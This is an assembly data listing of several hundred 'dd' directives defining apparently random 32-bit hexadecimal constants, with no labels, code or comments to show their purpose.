dd 5539C90Fh, 0E27E5E7Bh, 17FBD9E8h, 42B8D5E3h, 8FE8C3CDh
dd 1497DBAEh, 0FCE3C4EBh, 39BFA935h, 1FB627DFh, 480B63D2h
dd 7BB467E0h, 14ADF2C1h, 4ED7A17Ah, 6F481EBCh, 613DB0EFh
dd 4AD02589h, 0F8748479h, 4B83E198h, 0FDB701B1h, 1D163C1Eh
dd 0E88095F6h, 10292C38h, 6522970Ah, 89F76D69h, 33296CE4h
dd 0C7341F85h, 28D32E46h, 0A08CADE8h, 1C96A207h, 6DACC9F9h
dd 0B10726EBh, 14B59F64h, 0C2944D6Dh, 0B3F63229h, 37DB5751h
dd 0CC1CC92Bh, 70DB7947h, 0F1B8DB4Bh, 0CE1F69D4h, 0FC9EB55Eh
dd 3AE6E373h, 0E5E6E3Eh, 10B694FEh, 0B7D3DEC0h, 3D57471Eh
dd 48F57F69h, 26DEF8ECh, 78727DBBh, 874119EFh, 0A8DCB720h
dd 0E11365A7h, 1DEC69B7h, 0EE5F3B6Bh, 728F1259h, 0C74FAA42h
dd 0F9FCB10Dh, 6F47225Fh, 45413069h, 6018E72h, 0E68971B2h
dd 0DF193D13h, 24BA220Eh, 4E9B788h, 1CA5A635h, 0B28527D4h
dd 702D889h, 16E26541h, 9C489C25h, 7F881A60h, 0DC9A0BB0h
dd 5DA880EAh, 0C8E2D9CFh, 0E77E3FD1h, 1750343Eh, 0E509E299h
dd 0C68A13FDh, 3C1C45C3h, 60F386E5h, 719333D4h, 139F3693h
dd 3AFE3B0h, 0CFFFFC0Ah, 0E6BB1C91h, 0EDD48BE0h, 0F1D3D8E5h
dd 457992EDh, 0A245E006h, 15CEAEE8h, 4C341CC4h, 2EE39F63h
dd 0D328472Bh, 81C4194Dh, 9E895CB4h, 0CEAC259Ch, 49F7E558h
dd 63DEFA48h, 921B91F7h, 698C1663h, 0E8E9A47Fh, 0F50B4E5h
dd 0F920D8C2h, 0A2CF25ADh, 0F5425FDAh, 1965A2D2h, 6233421Dh
dd 0CFF155BCh, 7179DA10h, 0F355A9A5h, 565EDCFAh, 0EE3C7E50h
dd 0C51BDA24h, 0E3FEDABAh, 6535033h, 20D16FB2h, 7AFC3716h
dd 8E5F4BBCh, 8D6EF35Eh, 0A648C39Fh, 3FD618FEh, 5B5FDC1Fh
dd 0D7295D00h, 6BB91A9Eh, 4BF70F26h, 0BAAF16EEh, 54AA30D4h
dd 4DCC30BBh, 0B543C402h, 8BBE9D71h, 84DDE887h, 61C40C20h
dd 0D9EAD09Ch, 9BCEA5DEh, 5FAA2A44h, 0FCED400Ah, 70B4C79Ah
dd 0CF12786Ah, 0CCA94DA0h, 9BC8F4E5h, 0B2CEE675h, 5DD088A1h
dd 99B1493Ah, 254D3203h, 17EEC69Dh, 0EC6390AEh, 95069EA5h
dd 4B412915h, 2F65BAA0h, 0E06D8967h, 0CFD0065Fh, 0DFD76871h
dd 8383233Fh, 0C3B9236Bh, 1D531478h, 8A2662A6h, 0EB132970h
dd 41D97D2Ch, 22A8A814h, 55E00428h, 31B69207h, 0A8252C61h
dd 7936C15Bh, 2FB3BB62h, 7708BB18h, 3FA8398Ah, 0E02663A4h
dd 68FDE16Ch, 0F7FCACB6h, 61A83F70h, 650D9C0Fh, 0D59CC7D2h
dd 5475514Dh, 0E1D5A9BDh, 73A8E25Bh, 7B2C343Ch, 18FE904h
dd 0AB264CAAh, 880DD984h, 24CD4CFFh, 0A3AE84ADh, 0DE84C841h
dd 0B544E1EFh, 0A4CD12E9h, 5D9AFAEh, 0DD5EFBF4h, 46B5F264h
dd 0E2A2595Eh, 0C6B050BAh, 315E61Fh, 0BED18AC7h, 312B4381h
dd 3F3C00C5h, 0F7FDA9BAh, 2774BB1Bh, 0B6074B3Fh, 1EAEE267h
dd 89E46128h, 65480C44h, 0A52B2487h, 31E44571h, 1875C3C9h
dd 26A59357h, 0A951D290h, 0BC77B5CFh, 542CE925h, 0A76B48E6h
dd 0B9A172B3h, 9B33270Ah, 90BAA55Bh, 0BD5EEFB9h, 0AABA7682h
dd 7EFF0893h, 0B74FA2DBh, 0D1B03085h, 2B070249h, 0F76D4722h
dd 0F0D148F0h, 99C24604h, 5AC1C726h, 19074E0Eh, 72D7AC1Eh
dd 225286C1h, 0A1E90691h, 0AF5AEE20h, 385688B8h, 7D173CEDh
dd 57CE0E7Dh, 1DE2A42Fh, 0A48CDDF6h, 0DE888BAFh, 0BA3928h
dd 59AF2372h, 0B892864Eh, 12D647DCh, 79E13C82h, 0E4AE88F8h
dd 7094C424h, 0A6BB493Fh, 0D69252CFh, 43A7B797h, 94C313A0h
dd 0DAAD3279h, 9101F77Eh, 0A39C7E47h, 39EFFE9h, 0B70F5DABh
dd 3A2D51B3h, 1A7E2DC9h, 7B5155BBh, 230B3EFh, 0B4F939BAh
dd 81502D90h, 0AE64655Ah, 19699D4Bh, 89AE8FB2h, 84E8F3B7h
dd 2EF1625h, 0B34AB5DDh, 4777A8E3h, 0E990CD95h, 0D4E0519Ah
dd 83EF1B86h, 5FCE64E3h, 0ECE3E8h, 5B9A7A1Dh, 6258076Bh
dd 0B055A2E9h, 2166393Ah, 0ED225B4h, 0BD09DDCFh, 9B2D6659h
dd 2CAC71C8h, 0A18CD44Eh, 3353941Dh, 4A09F763h, 53848185h
dd 7990D5BCh, 0A1E6C02Ah, 91EE67A1h, 0AB08F32Dh, 5F2EB90Bh
dd 0C5DCA4AEh, 82E11B95h, 0C4500311h, 42968268h, 0FF2F277Dh
dd 16DF4D30h, 1FEFE213h, 43A82393h, 1CE5C6AFh, 0D86D0BDh
dd 59B1BBADh, 2A670503h, 83862B0Ah, 0DBA29A48h, 0B5B98225h
dd 651A5C2Ah, 342756C6h, 0B562EE79h, 5F59D5D3h, 0D3D5B492h
dd 41666A54h, 26AB8F5Fh
dd 1BF59026h, 0B301ED8Bh, 4D3085C9h, 10BCF306h, 4A5BF742h
dd 0E248ACC4h, 8564477Eh, 19BC0619h, 7F500634h, 6BAB1340h
dd 4BAE6074h, 8AF3A067h, 10233933h, 72DCCE3Ch, 0CD175BF6h
dd 3F4F659Bh, 9559E9B8h, 0B6084D3Ch, 0B98F87C2h, 146F2CDEh
dd 0B7E584B3h, 0CBB8BD0Fh, 296DB4F6h, 0B507B8D4h, 8343B297h
dd 0FB008CCh, 0EE3902EFh, 0C97472Eh, 5BC579F0h, 0D6A07B37h
dd 75AEF809h, 571C675Dh, 0FE09C6CDh, 7ED2FDDEh, 0AA21480Eh
dd 6FBBE3D3h, 9CB90CBFh, 1D18DC81h, 0C4B507A5h, 0F80E1EE1h
dd 984A4FFCh, 5A2DA913h, 5D07B891h, 37ED9C53h, 4654D62Eh
dd 7A23E13Bh, 0D7813620h, 5DB9DCF8h, 4CE4960Fh, 875388A1h
dd 130D0087h, 35CCC3A1h, 356801F3h, 8E1CE2ABh, 0FDA94B63h
dd 3C7FCFDBh, 7370A5D5h, 0D0617BB7h, 0DB01039Eh, 581B48Bh
dd 0CADE67FCh, 7795A7Ch, 0A9532D3Fh, 0C280181h, 952A4B39h
dd 9EA66333h, 7C14E348h, 4D0AD7A1h, 78AE7DABh, 0E4338225h
dd 9995F2A3h, 6FF32AC8h, 982D44A6h, 761B0047h, 55591A6Ch
dd 6930E73Eh, 0B7C28341h, 7DDE667Ah, 4B8AA619h, 52EDE75Fh
dd 0CC59D8E7h, 0B86B2B4Ah, 0F17CA19h, 6FF6A16h, 66E8750Eh
dd 8FC7664h, 0FB6E2FCEh, 0C8C200D5h, 16C91C4Ah, 12F98B53h
dd 4AABDFFh, 23539B1Bh, 0D96F1B9Fh, 3DDC761Fh, 98082E52h
dd 689F9997h, 7C5907D1h, 0A87120C2h, 0A75ED1A6h, 4FC78885h
dd 6B8E3FEh, 401BFEA5h, 69087C37h, 9F325D16h, 0C6B31F80h
dd 0C9E81C14h, 720319Fh, 0AA67EBAEh, 0CC3B5B20h, 76304903h
dd 88A764Eh, 0B4069416h, 0C6DDDF82h, 0CBBE7C87h, 0A2997798h
dd 98A1179Ch, 65AF5F11h, 0A0D436A3h, 0A307F045h, 44CC7A5Ch
dd 81AFD031h, 9CC16ADEh, 5B44FCD5h, 0E0D65137h, 5CFF7285h
dd 272B01A9h, 517C6041h, 0F5220525h, 453985C2h, 1723BB5Eh
dd 6865853Eh, 56782FECh, 5A8EB364h, 0F09B6083h, 14DCDD71h
dd 0C13173CAh, 708264E9h, 0A6B19682h, 74B20C45h, 0DAA64C82h
dd 0F8ADEED9h, 71DE91FAh, 0E6A6DBB6h, 14E25606h, 0A79720CCh
dd 17A25FBDh, 0C14DE248h, 0C75B13AAh, 0C39806B2h, 1B95A15Eh
dd 41086F06h, 0E5C81D77h, 763B6980h, 4C417142h, 1393B504h
dd 0D5E3A9A3h, 0F1892614h, 3D3ADA35h, 9AF0416Bh, 0BB7FD090h
dd 5C714140h, 0AE3E9A54h, 0EDC812AFh, 5CC43859h, 0D33A4411h
dd 0A2D507A3h, 0CBE49551h, 0A96A698Bh, 0FCE348C8h, 0B57EFC74h
dd 5E362FA9h, 0BDB6210Bh, 9DA154AEh, 0B5D37D43h, 0AA0B424Bh
dd 2FAFDFA1h, 0CA7BBC7Fh, 0E5B2925Fh, 38B94D8Dh, 31CF06BFh
dd 75FE77FEh, 11472C6Eh, 287A1358h, 0E48C1734h, 9A54535h
dd 5B411E1Fh, 0AEECED3Eh, 0EE9EC688h, 6FCD33BFh, 9641E6FBh
dd 0AFD46E09h, 0F4859F71h, 824F03F7h, 57C82083h, 547E0D75h
dd 62213F5Bh, 6E82157h, 0FE37700Dh, 0B89C5DA4h, 9F82034Fh
dd 0F261A0ABh, 206A531Dh, 0AF2284B0h, 0CF65FE0Ch, 0A346310Ch
dd 0F3E0E9D0h, 0BD191795h, 5433D89Dh, 3FB1CF2Bh, 6A2139A6h
dd 65AEC612h, 1ED0F57Dh, 0F52F8FF8h, 3324CD07h, 8F5FA593h
dd 77563ACEh, 0E417CEBDh, 59F04590h, 0A56FE4EAh, 683336E1h
dd 436008F8h, 6B0AF2DEh, 2E26055h, 3BCB5533h, 64CD10F4h
dd 0D3E600FCh, 7896AED8h, 0D747C704h, 6462C549h, 0EBF293E8h
dd 3CC3708Eh, 0E032CAE2h, 6E8D1A55h, 2A0E76A5h, 91290CD5h
dd 0B195CADEh, 1320C86Ah, 0C035DA3h, 6753E355h, 31BE44F9h
dd 52711BA2h, 9EC1DB35h, 8095E4EAh, 0A86DE4D0h, 0CC0B0E5Eh
dd 990CD0ECh, 5F8D236h, 0BCBCBF6Bh, 0A27885B7h, 8741BBBCh
dd 0F68371BDh, 0C19416D4h, 0B13DE4EDh, 6D85660Fh, 0F4039C80h
dd 0BBAEC841h, 0FE4FDE44h, 77249757h, 1F7CF3CDh, 0EBA17EDh
dd 4B280721h, 91C443F7h, 0D7E88A30h, 169CADD6h, 0A2ECAFD8h
dd 0D4E6D92h, 0B1BF4275h, 0A70F992Dh, 0F6D25512h, 16D95E8Ah
dd 60771FA4h, 5BC460Bh, 472EFFC5h, 0E0A42F0h, 0AFD6C7B8h
dd 2B3F8934h, 2DC0A2E4h, 0FD9B1829h, 782AF6Bh, 0AA8F1E1h
dd 0E20E5806h, 0DB470C84h, 0D7864244h, 88DA9289h, 0E7632BB2h
dd 0A262FFAEh, 0F115BCA8h, 6E44C1BCh, 0BB1CC853h, 50B3A9E4h
dd 0CC808B96h, 66015284h, 28DDE499h, 3D1F93EDh, 0E231253Dh
dd 4B644532h, 0CE315BFEh, 39DB2DA8h, 0E16B1C4Ch, 0BA63C969h
dd 0D0737A15h, 85F00347h, 8FA4AAD3h, 6188CC65h, 3DD5ABACh
dd 5FD4A72Ah, 0F83F2F8Eh, 0F7C8AAECh, 9A15224Bh, 9190A06Fh
dd 13358989h, 54D98C61h, 0CC78941Ch, 0FF2603ADh, 25CE7AF1h
dd 0E601C5D7h, 2D00B344h, 0AAE23566h, 0F79DC0Ah, 0A2F28D37h
dd 0F5B845BBh, 0F4C98D77h, 56B3848Ah, 0E7ECB050h, 6E183D81h
dd 0C8033928h, 805B6ACFh, 6EFA882Dh, 570E03E3h, 0C3B77324h
dd 0EA88CF65h, 0AF9B5D1Fh, 7FE9C9B0h, 98688099h, 3ADD3EF1h
dd 905E8F11h, 27E2CB84h, 39630AF9h, 9AA9CB32h, 324101Ch
dd 0A96D04ECh, 0A92DB684h, 3487B455h, 0E083C714h, 3EA96D2Ah
dd 2F02EBD1h, 32B35B9Ah, 1A78EE7Ch, 12B84230h, 0B38C60D9h
dd 1B692C24h, 0F5538B8Fh, 99C5C08Eh, 970B8197h, 17D8D2D3h
dd 299CA9A5h, 56962062h, 6FAB5A01h, 908D2F62h, 0AF52F48Eh
dd 7F09E333h, 0C1FBF63Ah, 9F8A1126h, 8A69AF4Bh, 9BB84F47h
dd 0BC30C701h, 0F0DD812h, 3D9C2DC4h, 94D86383h, 40E785D9h
dd 0DC5F94A9h, 26D09444h, 0CF36D8B6h, 0D871FB2Dh, 0CF57FEB4h
dd 908C585Ah, 0E11BDE14h, 3DE586D3h, 6FF3AAEEh, 1BF191E6h
dd 9073E18Dh, 0BF5E7D46h, 0A48C20E8h, 54172267h, 768DB9FEh
dd 7BDA847h, 0AA913C2h, 198628E4h, 4A8FCFC1h, 8E2D6A7Ah
dd 0A687A9B1h, 5E03BC36h, 22182E42h, 0F1C9E6B5h, 5209CD1Bh
dd 0B9C8053Fh, 6C01B0FCh, 37DCEF35h, 44B01BDDh, 8C30EB01h
dd 0F2E77FCBh, 7A3DB999h, 0D4080747h, 9FA70CEBh, 0F19C5C65h
dd 0E68D3C97h, 70BC9638h, 17F307AEh, 0F6CEDDE9h, 0FBF76BA6h
dd 847801B0h, 0BAE3E58Ch, 28113ECh, 47894F2Dh, 0F373FDBAh
dd 0FC95D601h, 0D071EA9h, 48A4E822h, 339C93BEh, 11541DB5h
dd 0E1294647h, 0BB1A37CAh, 0EB4E8F3Ch, 533CF7DBh, 5190B7FFh
dd 0C8AB8D52h, 402E5024h, 1A55F98Eh, 0C9CF665Ah, 0B91E8EE4h
dd 0A6AD4B1Eh, 0AA926309h, 0E9DE9156h, 1278B29Ch, 0C6EE7B92h
dd 0FDDDB8EDh, 32D4BAE1h, 4F3CD03Fh, 35E7473Eh, 4ADC85C0h
dd 6143E74Fh, 36177477h, 6A793F64h, 0EEE1362Bh, 0CF045C0Eh
dd 9B12CB9Dh, 83F39C7Dh, 690E87E1h, 769584B9h, 577389D8h
dd 0BB264F10h, 7688D898h, 785965A3h, 65A39A22h, 415CCA17h
dd 590C2BD6h, 0F0FB453Eh, 0A4BEBA9Ch, 4415B4DEh, 9E5CF8E6h
dd 0F0022631h, 2EA8DA2Bh, 77614C61h, 0A656B30Dh, 65E90F07h
dd 7934B5DEh, 0D0C156F7h, 855A9317h, 0A8C6FFAEh, 4575BC26h
dd 40CB0A31h, 2008BB95h, 0B9D00EB6h, 2E999FECh, 867C6A6Fh
dd 1AC3CEC4h, 0B347A63Dh, 63ECBBB8h, 90C24626h, 0B1EBFA07h
dd 0EC1ED5ACh, 2271446h, 75989B7Ah, 123BE76Ch, 0A3076377h
dd 0CF1A379Dh, 51A2A17h, 4F7DD683h, 4248E71Fh, 3086EE1Dh
dd 70B3DB85h, 3F170D95h, 1286944Bh, 6E4D015Eh, 6AF4B31Eh
dd 1686758Fh, 0D5052B1Ah, 0D67AE36Ah, 86E85B6h, 6A8F6E0Bh
dd 0D3D8A09h, 3065C604h, 6D408CEDh, 1CF690F7h, 0A997E89Ch
dd 96C226Bh, 0BA122005h, 0A35DC91Dh, 0BCDD7E5Bh, 0B1EB7EE8h
dd 8E14058Eh, 0E0DBDACBh
dd 0BA2D12DAh, 2FC18514h, 2DBFDF97h, 26D7CF26h, 0A6F729DDh
dd 7DC61FACh, 58CBF65Bh, 2697AC8Eh, 273962A2h, 0C44212A6h
dd 545F1655h, 0EF5E97DEh, 0E48976E4h, 8C50728Ch, 7418C168h
dd 0F051E410h, 26C26727h, 25CDA808h, 55E5F77h, 9ABF3018h
dd 0CC880F78h, 4EA39CFEh, 5ACD7547h, 42D73500h, 0AA65F81Ah
dd 718D88DEh, 7E2EEC46h, 0AE61B4D9h, 88776006h, 204BD6ACh
dd 0FBF570B9h, 0FA8B9B0Eh, 0E0BD72E8h, 8E4E3488h, 0F095DEEDh
dd 0DE29CDC3h, 3CD25AA1h, 0C33DBD40h, 47029BCBh, 0F02C1E0Ch
dd 0A9AE8154h, 770088D0h, 72CC15BBh, 8D041E84h, 0F9DF7648h
dd 1767F5E6h, 5AD0C0D2h, 0C5FF41CBh, 57EB569Ah, 0EB413324h
dd 36409F99h, 213FD44h, 0A0678043h, 0B8A25A83h, 2E006DE8h
dd 9EB40F3Ch, 62406E67h, 0F0800CFAh, 0F89ADE69h, 0BB0BA00Fh
dd 0B2B3BDE0h, 0DE8D52ABh, 219303B3h, 85BA3CA6h, 29266D81h
dd 13031994h, 851164DFh, 0F5FA0567h, 52BB4092h, 1720DBCCh
dd 0F7E7C73Bh, 1209F580h, 0E852EAE4h, 3B86E6BFh, 0BD397B08h
dd 6CCD0CB4h, 78E8804Bh, 971CA60Fh, 4E04220Eh, 0ECEA2621h
dd 0DD2F4F10h, 55AB7B42h, 68B74678h, 0C9DE85CDh, 0DEE083F1h
dd 0AF692A21h, 0C6B55793h, 9929823Dh, 3FE174DDh, 462CA2B7h
dd 0C526B46Dh, 862A3788h, 4FFF4DF7h, 7E2C9B9Eh, 966B0E0Ah
dd 608945Dh, 33CD6422h, 2E48766Dh, 702C6CB1h, 803F80A9h
dd 6D448867h, 0B89EE9EAh, 89E9AF19h, 8ACB9416h, 0E1CB6D0Ch
dd 0C7D90C3Fh, 0F42866A9h, 208EECECh, 2024AD33h, 5325B01Ah
dd 0B6B8C84Eh, 82D25ACDh, 8F49353Eh, 642058C7h, 756375F7h
dd 1552D848h, 0F755B159h, 0C70FF6E9h, 10F11154h, 7AC3D719h
dd 0D7181D72h, 0AFA8932Fh, 0BA33738Bh, 1C196B6Bh, 1B2C465Ah
dd 0D2261A66h, 0BFCA53F4h, 0FE704FCFh, 5937EE0Bh, 1C105A0Bh
dd 99C550Ch, 0E7260C86h, 0F4E244C9h, 0B6D32DDCh, 69DA34D3h
dd 0DEAF5BA2h, 2EC253DCh, 3E28CB8Fh, 1EA3E67Fh, 8CE981F2h
dd 0EF46BB06h, 0E72CB075h, 0CDF147B4h, 10089F2Ah, 0F8AE9B53h
dd 687EEC84h, 4B5DAE44h, 143F5AABh, 81EBE284h, 69445CC4h
dd 0DB81EA64h, 7976BAD8h, 0AC380AF2h, 0DC07A85Eh, 90C5BE51h
dd 835853ADh, 58E3FE3Ch, 0CA88B589h, 2BE32BF3h, 0F69CD05Fh
dd 0F9F3B4D8h, 0AC734F2Ch, 5555C7DEh, 0E8B419EDh, 89A122EEh
dd 0F378D122h, 834C96B9h, 56476711h, 2216F9D9h, 0D9BDE2D9h
dd 29045E91h, 61EDE532h, 25B5844Bh, 606B720h, 0B2968F47h
dd 351A1376h, 30B049C9h, 8851D4B0h, 0A62053BAh, 6F31471Fh
dd 0ED303677h, 7C0CEC53h, 8765B12Bh, 8DBF431Eh, 8A58C9Ch
dd 0E6AC4B73h, 882A5CF5h, 0BD39E91Ch, 661182F1h, 0A0BBEFDFh
dd 0BC6AF23Ah, 584CA141h, 0B76531EEh, 63C55FE9h, 0F060C5A3h
dd 3C3A29F9h, 600C4808h, 3DF41BD6h, 0D416D285h, 37144A98h
dd 1B54F199h, 57AC7D94h, 0A0B75089h, 0BCA9F20Fh, 0C4DECAE7h
dd 2EAC2B15h, 333EEBFCh, 0F36BC5D5h, 77CB3869h, 5781E55Eh
dd 724D8E73h, 0F55F239Fh, 0D45C1C3Eh, 0E634064Eh, 4EE684Bh
dd 16B5644Ch, 75D338Eh, 0B65F397Dh, 2330665Ch, 0E79365D1h
dd 48043828h, 0F2B6C02Ah, 1A74F9h, 0A4762364h, 0A20FDF1Ch
dd 48428371h, 0B43AB729h, 745ABFA3h, 1BB84B7h, 8A6AC887h
dd 3A6DE00Ah, 5A70886Eh, 524996F9h, 0E69B8A53h, 3B1A42E9h
dd 2BD1778Eh, 0FE2319B4h, 93206DF8h, 3CFC18AEh, 0B51FB443h
dd 0C17E39E6h, 0C1FBDF1Eh, 80011156h, 0F1764874h, 2411B4E2h
dd 0E12BA143h, 2D51006Ah, 1216CA94h, 0B209AA8Fh, 26CE5284h
dd 18D830D9h, 0C69D42FCh, 0B72B96FFh, 0B3744F5Ah, 16C4AFA3h
dd 48FC3DABh, 62BF0996h, 71F9ADA4h, 3B0C5BF5h, 7969E309h
dd 2509E48Eh, 0CB4B8A30h, 0ADAA0164h, 0DD0DB41Bh, 4A3D61DCh
dd 0E4D4D556h, 5C9984F4h, 0D919566h, 87D3AC8Ch, 541DD996h
dd 40566BD5h, 0AD8FCBB8h, 0C6597552h, 0E5A43EDh, 0CE78EEB6h
dd 6F649044h, 675509F1h, 6CFC6BCh, 56A7DA6Ch, 0D9891680h
dd 966B7352h, 97917438h, 0CD67F02Bh, 0EC87A26h, 4973F4A0h
dd 0CD0C5D3h, 4265B7E5h, 0E5BC382Dh, 0A60CCBEh, 742FACFEh
dd 0F5392104h, 4BE7EF23h, 0FE0C534h, 4D1BBE72h, 0F3C52E2Dh
dd 0E7F71D8Ah, 0CFFB7DF3h, 0B6271E0h, 0E230D9B4h, 0D9BA2DC0h
dd 3AA9F2D8h, 6CC634BEh, 0E295A3A9h, 6718824Fh, 0A3AD6957h
dd 90FBDC67h, 0CA2D1D33h, 0A074B558h, 11A45435h, 8BDE2920h
dd 8D1616A9h, 860F72B6h, 0D2D94542h, 0BE4F4789h, 0CDDBFAB4h
dd 6A8411EFh, 66BD5CB7h, 0D8EF1694h, 0B3569D39h, 0D79EDDB1h
dd 95DDCFE6h, 0D92FE51Bh, 4456B147h, 3E48484Dh, 0C13066B8h
dd 915097EDh, 657A4B0Ah, 4F893B9Bh, 0C16D8D63h, 56C966FDh
dd 12C97CBFh, 68B94E74h, 5E35A20h, 0DE2F7918h, 0B4339D5Fh
dd 0CF06B4E5h, 0E1D9BF9h, 8117A025h, 1C14FDEDh, 6ACC1D3Dh
dd 0C54AC186h, 8257866Ah, 0CE049D08h, 0B2794A21h, 0FB3CFB95h
dd 0C3DEAE81h, 0F9FCD975h, 6CD8363Dh, 35C6D7D6h, 957DB335h
dd 85652B34h, 670C6C3Fh, 17809BEEh, 89A37EBh, 0C459D328h
dd 4B551C20h, 0CA0AFFCh, 6CF7EA61h, 0A9113EADh, 9D7D0C81h
dd 9D75B6B3h, 37832BE2h, 0BD18DB80h, 0FE9A5245h, 0D7AD9E9Bh
dd 8ECFCE54h, 1F1738D2h, 0BCE4853Ch, 42F81A53h, 0EAB34201h
dd 9A31A438h, 39335DDEh, 5D65279Bh, 3A68FAB1h, 468D8504h
dd 198A7A08h, 1D0C86AFh, 0DA0559ADh, 8909B633h, 0CFA1E4DDh
dd 0B45D7F36h, 0FDE87D45h, 9E81F0F6h, 0B0FA1BF1h, 1F2C1363h
dd 82AA4CABh, 57C7471Bh, 0F247ABA5h, 6462DD36h, 5B8F29DBh
dd 8C98AAC1h, 7F57820h, 0A6E296D5h, 0FDE6BF6Fh, 0AF6D96A4h
dd 619DBAh, 0F23D1F30h, 0D01100B3h, 0FFE4CCF0h, 9F6B5E5Ah
dd 55F2BD86h, 21CF9063h, 0A7C79B27h, 0E4CD97FCh, 2B30553Ah
dd 38D0C092h, 0DD599A05h, 6AF676F2h, 31B8E83Ch, 0A874B481h
dd 0D81FD6DDh, 8AA1680Ah, 93B6C2A2h, 0BBBE3BD2h, 14B63E8Bh
dd 0ECA77378h, 0F7046BDBh, 28F3658Fh, 98C74E2Ch, 393EB422h
dd 564D176Ch, 0F5C3D24Eh, 30035357h, 0EA6B2D4h, 4EC5FB63h
dd 5B14A8CAh, 14E81B37h, 0F3652279h, 0D4454859h, 0F1DF9F5Ch
dd 27FBB6C9h, 0B8B5332h, 0E71872B8h, 88C5F27Eh, 3646271Fh
dd 0A9BB4969h, 0E95882B2h, 285A73B6h, 0BE181700h, 8837D136h
dd 0CA49E7F8h, 47FE0FA1h, 26F2379Bh, 0D6661B47h, 0B93F9277h
dd 5E5B8816h, 4057E610h, 0C56375Dh, 0CF374DB3h, 0EC84BFC9h
dd 5A55DAFFh, 0D09BA144h, 39654B59h, 61FD6913h, 811A68E5h
dd 924DD0D7h, 8ABB3D4Dh, 7D2C0180h, 5F656E0Eh, 1872C38Eh
dd 98009DC0h, 44AFB4B4h, 0C4F6D6D4h, 528B5E05h, 0E480441Ah
dd 0D8D0CAF9h, 805CA7DBh, 0C93BBCDFh, 1702C143h, 0BF32CC28h
dd 76BD87B8h, 38B4D542h, 73EE090Ch, 0A92434FAh, 1A90376Dh
dd 0FA425B2h, 2BC06029h, 587AB93Eh, 0F05D26DEh, 0CA835590h
dd 3A8A64ACh, 0A44A1C64h, 5DE634E7h, 0D5451379h, 0A2562B90h
dd 1E8400BFh, 11CDE317h, 0F41BBA36h, 92CBD45Bh, 0E78F07FFh
dd 2B258CCh, 678C6ACAh, 0B41EBA9Dh, 0D377507Ah, 0FD07D818h
dd 0E24B28B3h, 0DEDD48B7h, 0CBD93ECFh, 0D3AF46BDh, 0F26E14D0h
dd 1146BEFEh, 9C807175h, 78554C78h, 0ECB71379h, 847AF5D9h
dd 0B1761C2h, 0EFC393B7h, 0E20BB26Ah, 8CB72528h, 0E6EB1C6Bh
dd 2F0101CFh, 0CF8B758Ah
dd 0D680BFD2h, 34F82CDh, 97E74AE4h, 76503BFEh, 26CCEF4Ch
dd 4F0B2657h, 0F4451F5Bh, 0BEC6EA44h, 6674F492h, 66B2110Eh
dd 48B3B29Ch, 0AD0C4BC7h, 124F4492h, 590B10F2h, 0CCF46D3Bh
dd 90A19B9Ch, 0FB4E8BB3h, 3248CBDDh, 0B1AF9FC6h, 3D26FF47h
dd 66C16EAEh, 6A60F6B8h, 3DE6E691h, 4467831h, 3C877963h
dd 9C638DB5h, 0A1D28FE3h, 2560F609h, 5FB52031h, 0F9E896B2h
dd 0ABC82B5Ch, 1E140BB0h, 6FEC726Fh, 0B49C9B1h, 0E2BC3567h
dd 0DF97B58Dh, 0CBB40B40h, 1F1F3328h, 30A8AAA6h, 6731FB85h
dd 6BC2BAF2h, 3B47D596h, 0DAA57CD8h, 0C3B54098h, 4857B0AEh
dd 372FAF7h, 0FB76BFA8h, 0B5071CAh, 66617E39h, 0F6C5470Fh
dd 6EAD6517h, 9BD19EE9h, 981EB9E8h, 0AF092E5Bh, 3E43AFCh
dd 460BA4D3h, 0B46B1D7Ch, 0E3A453BAh, 897C21A6h, 0FE23B597h
dd 0EAD281FDh, 0AD876948h, 7E235A77h, 591AD25Dh, 0BBFAAF62h
dd 4F1E60C9h, 0E897BF65h, 7C545A2Eh, 0E774E976h, 0FE9F8DFAh
dd 0C2965780h, 0A0C6881Ch, 4A36C002h, 4B3E607Eh, 9326293Dh
dd 0C896556h, 0C6F744EDh, 1143C9EDh, 656BB647h, 71CD93E8h
dd 0B5EA6B47h, 218BC257h, 0B76024A9h, 3C5D9B4Ah, 0B9236E10h
dd 76D65C2Fh, 50B5C1D0h, 78F1FC70h, 3E81AACFh, 26C49E1Bh
dd 832495AEh, 0A504BF14h, 92FC1324h, 0D4FB3F98h, 719445CAh
dd 6AA6AAC5h, 66AD615Eh, 393D36D4h, 7D0C60D3h, 86D268CEh
dd 22C50D26h, 0D9790272h, 6C780E36h, 0A9C7F71Ch, 0F14A11AEh
dd 0F8531B47h, 75C46B2Bh, 0D4666E5Eh, 0C1C1E2DDh, 4085A79h
dd 3E3176F2h, 8DB5ADD4h, 73D50300h, 59F0F633h, 293B4A3Ah
dd 0CB8CD638h, 1352D7F1h, 0D5A1ADABh, 344094C2h, 0A1932E10h
dd 0F2298BBh, 1746F45Bh, 0B773EEA4h, 5F661417h, 91DB3D80h
dd 0EE24AA00h, 0CF5EB01h, 7FD26D2Ah, 94CB5D34h, 124447B6h
dd 0D67383B2h, 0F5C3ECFCh, 5004C0D1h, 89440AB9h, 251E1671h
dd 92C23044h, 11FA0BE6h, 680496FAh, 0F0D32C52h, 54089F66h
dd 7267F952h, 8A28A325h, 3430B235h, 0AAD63440h, 8A0BA938h
dd 0BED551C0h, 0A8317250h, 5A78BC6Ch, 0ED54CDBAh, 39F3FBDh
dd 37AEF2EDh, 0FDF04D9Ah, 3B8CFFDDh, 35C40DDCh, 0FC72A7CDh
dd 811CCEADh, 4BC20416h, 50E7F836h, 0B7A5B2CCh, 0D306230h
dd 24E3CC8Ch, 4E861A3Bh, 528AC41Eh, 3C7898E5h, 988FABAEh
dd 6157E7D0h, 6A6D61FAh, 4A6FF60h, 0BBF58D11h, 84D8E6FCh
dd 0EB1058F6h, 0A1CDB0D5h, 0B2796E86h, 1FB0335Dh, 9076E5BFh
dd 61123381h, 0D4ADF9ADh, 568508CDh, 0A0751604h, 7CC15508h
dd 9A8EF83Ah, 0D2E0163Ah, 4BCEA7A4h, 0F026CAA7h, 0BD71D745h
dd 0D632C3C0h, 116C7E6Ah, 35433D06h, 89FFCA4Ah, 4AE6C58Dh
dd 5FA53194h, 0D88FE95Eh, 846BE9DDh, 5A1FC9DBh, 0FFC18EF5h
dd 0E41A390Ah, 0BB1850ACh, 778FFAA9h, 0F73E59D0h, 0F9609FCDh
dd 9DA70103h, 6972EBB0h, 0FC9355Bh, 3714CFF1h, 0B03146AAh
dd 772D7C82h, 77CD68E7h, 61D54CE1h, 0B750E679h, 4E1AECA0h
dd 95442D93h, 42C02162h, 751782CCh, 0C629F58Fh, 222280F2h
